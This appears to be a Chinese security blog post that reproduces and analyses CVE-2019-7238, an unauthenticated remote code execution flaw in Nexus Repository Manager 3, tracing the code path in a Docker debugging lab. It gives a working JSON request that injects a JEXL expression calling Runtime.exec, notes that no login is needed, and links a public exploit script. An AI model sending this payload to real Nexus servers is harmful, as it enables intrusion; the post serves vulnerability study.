沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Nexus Repository Manager3 RCE[CVE-2019-7238]

0x00 前言


在渗透测试某带专(实为江西省某211)的网站的时候,发现了有一个网站部署了Nexus Repository Manager,无奈自己知识面太窄,没有接触过,搜索相关版本的漏洞也无功而返。因此,就先来复现一下历史漏洞,一来是熟悉一下这个中间件的操作,二来是为以后的渗透打下基础。本篇包含以下元素:

  • 利用IDEA与Docker进行远程动态调试
  • Nexus Repo Manager3 (3.6.2 版本到 3.14.0 版本)的RCE(CVE-2019-7238)

0x01 环境搭建


拉取镜像

使用命令docker pull sonatype/nexus3:3.14.0拉取docker镜像

下载源码

记得下载3.6.2到3.14.0版本的源码,这个漏洞在3.15.0被修复。下载链接🔗:

https://github.com/sonatype/nexus-public/archive/refs/tags/release-3.14.0-04.zip

IDEA配置远程服务器

用IDEA打开刚刚下载的源码,然后添加配置,选择远程JVM调试,填入虚拟机(因为我用的虚拟机跑的docker)的IP还有端口,这个端口是之后我们docker run需要映射的调试端口:

image-20211102223207025

然后我们使用CTRL+N全局搜索src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy找到漏洞触发点,在185行打下断点。

启动容器

docker run -d -p 8081:8081 -p 8000:8000 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=${NEXUS_DATA}/javaprefs -Dstorage.diskCache.diskFreeSpaceLimit=1024 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000" sonatype/nexus3:3.14.0

第一个端口映射8081:8081是Nexus的Web端口,第二个端口映射8000:8000是我们设置的调试端口,将映射端口和docker内端口保持一致是为了方便。

然后在JVM参数INSTALL4J_ADD_VM_PARAMS中设定了最大存储大小: -Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g

另外这里还设定了 -Dstorage.diskCache.diskFreeSpaceLimit=1024,因为我的虚拟机空间不足了….他默认设定是4096,目前还不确定是否有什么大影响,先用着把。

还设置了Nexus的存储目录为:/nexus-data,最后加上了我们IDEA中帮我们生成的参数用于远程调试。注意这里我们还把address*去掉了,不然可能出现不可达。

然后我们在浏览器测试是否成功:

image-20211103165805990

登录

看网上说docker启动的Nexus需要用过命令获取密码,但是这里我们的镜像可能是因为版本问题,默认密码就是admin123

调试环境测试

点击绿绿的小虫子,如果显示已连接到目标 VM, 地址: ''192.168.x.x:8000',传输: '套接字''则表示可以进行调试。但不知道为什么,我的IDEA没有给我的所有文件添加上索引导致我无法顺滑的跳转到相关函数,重试了好多次…最后我只能看别的文章找到对应的文件和对应的行,毫无调试体验🐣。(后来发现很可能是Maven没有把一些组件导入的原因)

0x02 漏洞分析


漏洞简介

漏洞发生在管理界面中“Conetent Selectors”处中的Preview功能。

image-20211103211421630

可以看到其中可以填入CSEL表达式,是一种轻量版的JEXL。我们知道JEXL经常会有注入或者命令执行的漏洞,此处便是对JEXL的过滤不严,导致了可以RCE。

寻找入口

用Burp抓包,我们可以看到响应包中给出了处理的方法名为“previewAssets”,当然这也可能是我马后炮….具体大佬们怎么发现的,不太清楚。

image-20211103212109081

IDEA全局搜索,确定文件为:src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy第188行。其中POST传参为:

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"test"},{"property":"type","value":"csel"}]}],"type":"rpc","tid":8}

previewAssets函数

if (type == JexlSelector.TYPE) {
    jexlExpressionValidator.validate(expression)
}
else if (type == CselSelector.TYPE) {
    cselExpressionValidator.validate(expression)
}

首先这里会判断类型然后对我们传入的Expression进行验证,使用Nexus时,默认传入Type的就是csel,但是我们可以抓包改成jexl。为什么要改呢?我们可以跟进两者的validate查看验证过程,首先看CSEL(src/main/java/org/sonatype/nexus/selector/CselValidator.java):

public boolean validate(final String expression) {
    ASTJexlScript parseTree = parser.parse(CALLER_INFO, expression, null, false, true);
    Boolean result = true;
    return (boolean) visit(parseTree, result);
}

protected Object visit(final ASTReference node, final Object data) {
    List<String> parentNames = asList("coordinate");
    List<String> childNames = asList("groupId", "artifactId", "version", "extension", "classifier", "id");
//...略,自己看代码 
}

看不懂他在干啥(大佬说这里进行了函数和属性的个数还有解析后内容做了限制)…不过没事,我们再来看看JEXL的验证(src/main/java/org/sonatype/nexus/selector/JexlSelector.java):

public JexlSelector(final String expression) {
    this.expression = isNullOrEmpty(expression) ? Optional.<JexlExpression>empty()
        : Optional.of(threadLocalJexl.get().createExpression(CALLER_INFO, expression));
}

只检查是否为空,简直不要太好,而且jexl的命令执行我们显然是更熟悉的😋,所以我们就选定jexl构造一个Payload来测试看看。

Payload

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"\"\".getClass().forName('java.lang.Runtime').getRuntime().exec(\"touch /tmp/chenlvtang\")"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

注意,我们修改了type为jexl,并且修改了expression为\"\".getClass().forName('java.lang.Runtime').getRuntime().exec(\"touch /tmp/chenlvtang\")。不过有一点我奇怪的是,上次我在JNDI注入高版本绕过(点我看详情)的时候利用的javax.el.ELProcessor中的eval函数并没有使用反射调用也可以执行命令。这里我测试了之后发现,不使用反射调用,会显示Runtime未定义(可以在docker容器运行时的输出看到,如果你不用-d参数), 大概是JEXL和EL不是同种东西吧。

重新发送我们的Payload的之后,exec进docker容器发现似乎并没有成功执行?当然,我们现在只是测试,还并没有找到漏洞的触发点,说不定还有其他的限制,所以我们现在进一步的跟进去找到漏洞触发点。

def result = browseService.previewAssets(
    repositorySelector,
    selectedRepositories,
    expression,
    toQueryOptions(parameters))

可以看到,在判断为type后,会把我们的参数传入browseService.previewAssets

browseService.previewAsset函数

src/main/java/org/sonatype/nexus/repository/browse/internal/BrowseServiceImpl.java的234行,但我们注意到其中的258行有类似于数据库的操作:

String whereClause = String.format("and (%s)", builder.buildWhereClause());

打下断点,调试后得到:

and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)

很明显的是SQL语句了(其实是Nexus使用的OrientDb),但我们还不知道这条语句的全貌,所以我们继续往下看,第261行:

return new BrowseResult<>(
    storageTx.countAssets(null, builder.buildSqlParams(), previewRepositories, whereClause),
    Lists.newArrayList(storageTx.findAssets(null, builder.buildSqlParams(),
                                            previewRepositories, whereClause + builder.buildQuerySuffix()))
);

return的是BrowseResult,看名字就知道这里执行了查询结果然后返回,所以我们继续跟进其中的storageTx.countAssets。

storageTx.countAssets函数

src/main/java/org/sonatype/nexus/repository/storage/StorageTxImpl.java的第390行:

public long countAssets(@Nullable String whereClause,
                        @Nullable Map<String, Object> parameters,
                        @Nullable Iterable<Repository> repositories,
                        @Nullable String querySuffix)
{
  return assetEntityAdapter.countByQuery(db, whereClause, parameters, bucketsOf(repositories), querySuffix);
}

没啥用,继续跟进。

assetEntityAdapter.countByQuery函数

src/main/java/org/sonatype/nexus/repository/storage/MetadataNodeEntityAdapter.java的第207行。在此函数设下断点调试后,我们最后得到了完整的查询语句为:

select count(*) from asset where (bucket=#16:0 or bucket=#15:1 or bucket=#15:3 or bucket=#15:2 or bucket=#16:2 or bucket=#15:0 or bucket=#16:1) and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)

可以看到会从asset查询,并且查询语句的连接是用AND,所以我们只有保证asset能查出数据,才会去执行我们后面的jexl表达式。虽然不清楚bucket=xx具体是什么意思,但是我们可以上传一个asset来看看是否正常执行了我们的命令。

上传asset

image-20211103225150960

登录后,可以随便上传一个什么文件,这些都可以随便填,这里我上传了一个图片:

image-20211103225241557

漏洞复现

这时候,我们再重新发送我们的payload,之后使用docker exec -it nexus bash进入容器,再使用命令cd /tmp && ls查看是否成功创建文件:

image-20211103225606896

注意,虽然我们在上面的抓包和上传中,都登录了管理员账号,但实际上这个漏洞是不需要登录的,我们只需要构造对应的Post请求即可发动攻击,因为在实际环境中,Repo里面肯定已经有了asset,不需要我们再去上传,而抓包只是为了讲解这个漏洞。

最终触发点

如果你想知道最终的触发点,即表达式是在何处执行的话,可以继续跟进org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction查看:

image-20211103230033234

漏洞修复

@RequiresPermissions('nexus:selectors:*')

3.15.0增加了权限要求,在后续的版本中好像还增加了对Jexl的白名单。

0x03 回显方法


上面虽然成功执行了命令,但是我们并不能在数据包中获得命令执行后的回显。Vulhub里面说用ClassLoader来回显,但是打了一个无敌巨厚的码😅,我不知道他作为一个靶场打这么厚的码干什么…对我这种菜狗小白十分不友好。

这里就先放一个利用脚本链接,之后再来补充这里面的理论知识:jas502n/CVE-2019-7238: Nexus Repository Manager 3 Remote Code Execution without authentication < 3.15.0 (github.com)

0x04 参考


nexus_rce_CVE-2019-7238/nexus.md at master · verctor/nexus_rce_CVE-2019-7238 (github.com)

Nexus Repository Manager 3 CVE-2019-7238 IDEA远程调试 | Twings (aluvion.github.io)

Nexus Repository Manager 3 远程代码执行漏洞 (CVE-2019-7238) 分析及利用 - 安全客,安全资讯平台 (anquanke.com)